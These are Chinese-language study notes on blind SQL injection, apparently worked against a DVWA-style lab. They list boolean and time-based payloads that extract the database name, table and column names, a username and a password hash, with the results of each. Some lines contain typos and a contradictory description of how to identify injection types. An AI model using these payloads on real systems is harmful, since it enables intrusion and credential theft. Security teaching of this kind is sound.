SQL盲注(blind)
盲注常用函数:
left(a,b)从左侧截取 a 的前 b 位
substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。
mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位
ascii(str)返回给定字符的ascii值,如 ascii("a")=97
ord()函数同 ascii(),将字符转为 ascii 值
length(str)返回给定字符串的长度,如 length("string")=6
字符型注入在参数后面加一个单引号和#号,如果不报错就是字符型,例 1’#。
数值型注入在参数后面加一个单引号和#号,如果报错就是字符型,例 1’#。
例如
数值型
select * from users where id=1,此处id为数值型,如果此处id设置为1'则运行时会报错。
字符型(重点)
select * from users where id='1',此处id为字符型,
如果此处设置1
则语句为 select * from users where id='1' 此时查询的值为1。
如果此处id设置为1#或1%23
则语句为 select * from users where id='1#' 此时查询的值为1#,这里的#并非注释符而是普通字符串。
如果想达到注入的效果则需要把id设置为1'#
则语句为select * from users where id='1'#'此时查询的值为1,#号执行的是注释的作用。
-----------------------------------字符型盲注-----------------------------------------------
一、
exists: 说明为真条件
missing:说明为假条件
1‘and 1=1 #
二、猜数据库长度
1’ and length(database())=4
三、猜数据库名
此时利用substr()函数从给定的字符串中,从指定位置开始截取指定长度的字符串,分离出数据库名称的每个位置的元素,并分别将其转换为ASCII码,与对应的ASCII码值比较大小,找到比值相同时的字符,然后各个击破。
用法:
substr(string string,num start,num length);
string为目标字符串;
start为起始位置,从1开始;
length 待截取的长度,省略则表示字符串的长度。
区别:
mysql中的start是从1开始的,而hibernate中的start是从0开始的。
1' and ascii(substr(database(),1,1))>100 miss(通过ASCII码的值来判断字符)
1' and ascii(substr(database(),1,1))>95 exit
1' and ascii(substr(database(),1,1))>98 exit
1' and ascii(substr(database(),1,1))=100 exit
四、猜库中的表名
猜表的个数
1' and (select count(table_name) from information_schema.tables where table_schema=database())>10 # miss
1' and (select cout(table_name) from information_schema.tables where table_schema=database())>5 # miss
1' and (select count(table_name) from information_schema.tables where table_schema=database())>2 # miss
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # exit
五、猜第?个表的长度
# 1.查询列出当前连接数据库下的所有表名称
select table_name from information_schema.tables where table_schema=database()
# 2.列出当前连接数据库中的第1个表名称
select table_name from information_schema.tables where table_schema=database() limit 0,1 #(limit 0,1 表示从第一个字符开始取一个字符)
# 3.以当前连接数据库第1个表的名称作为字符串,从该字符串的第一个字符开始截取其全部字符
substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)
# 4.计算所截取当前连接数据库第1个表名称作为字符串的长度值
length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))
# 5.将当前连接数据库第1个表名称长度与某个值比较作为判断条件,联合and逻辑构造特定的sql语句进行查询,根据查询返回结果猜解表名称的长度值
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 # miss
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 # exit
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>8 # exit
1' and length(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9. # exit
接着第2个表同样:
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))>10
六、猜表名称
查第一个表:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>90 #
。。。。。。
以此类推 最终为guestbook
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>90 #
。。。。。。
以此类推 最终为users
七、猜user表里的各个字段的名称
| 1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1 # | exists |
| 1' and (select coount(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #|exists|
用户名的字段值:
1' and length(substr((select user from users limit 0,1),1))=5 # exits
密码字段值:
1' and length(substr((select password from users limit 0,1),1))=32 # exists
输入 输出
1' and substr((select user from users limit 0,1),1)='admin' #
1' and (select count(*) from users where user='admin')=1 # exists
1' and (select count(*) from users where user='admin123')=1 # MISSING
1' and (select count(*) from users where user='root')=1 # MISSING
==>user字段的第1组取值为admin
1' and (select count(*) from users where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99')=1 # exists
1' and (select count(*) from users where user='admin' and password='e10adc3949ba59abbe56e057f20f883e')=1 # MISSING
==>user---password字段的第1组取值:admin---password
----------------------------------------------------------------------数字型盲注---------------------------------------------------------------------------------------------
对于 if(判断条件,sleep(n),1) 函数而言,若判断条件为真,则执行sleep(n)函数,达到在正常响应时间的基础上再延迟响应时间n秒的效果;若判断条件为假,则返回设置的1(真),此时不会执行sleep(n)函数
输入 输出(Response Time)
1 and if(length(database())=4,sleep(2),1) # 2031 ms
1 and if(length(database())=5,sleep(2),1) # 26 ms
1 and if(length(database())>10,sleep(2),1) # 30 ms
以上根据响应时间的差异,可知当前连接数据库名称的字符长度=4,此时确实执行了sleep(2)函数,使得响应时间比正常响应延迟2s(2000ms